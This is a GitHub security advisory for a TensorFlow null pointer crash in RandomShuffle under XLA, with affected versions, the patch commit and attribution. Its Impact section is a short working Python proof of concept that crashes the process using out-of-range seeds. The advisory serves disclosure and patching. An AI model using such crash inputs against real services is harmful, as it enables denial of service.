GHSA-gf97-q72m-7579
TensorFlow has Null Pointer Error in RandomShuffle with XLA enable
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| PyPI | tensorflow | < 2.11.1 | 2.11.1 |
| PyPI | tensorflow-cpu | < 2.11.1 | 2.11.1 |
| PyPI | tensorflow-gpu | < 2.11.1 | 2.11.1 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Impact
NPE in RandomShuffle with XLA enable
```python
import tensorflow as tf
func = tf.raw_ops.RandomShuffle
para = {'value': 1e+20, 'seed': -4294967297, 'seed2': -2147483649}
@tf.function(jit_compile=True)
def test():
y = func(**para)
return y
test()
```
### Patches
We have patched the issue in GitHub commit [728113a3be690facad6ce436660a0bc1858017fa](https://github.com/tensorflow/tensorflow/commit/728113a3be690facad6ce436660a0bc1858017fa).
The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by r3pwnx
References
External links from the advisory. They lead to third-party sites.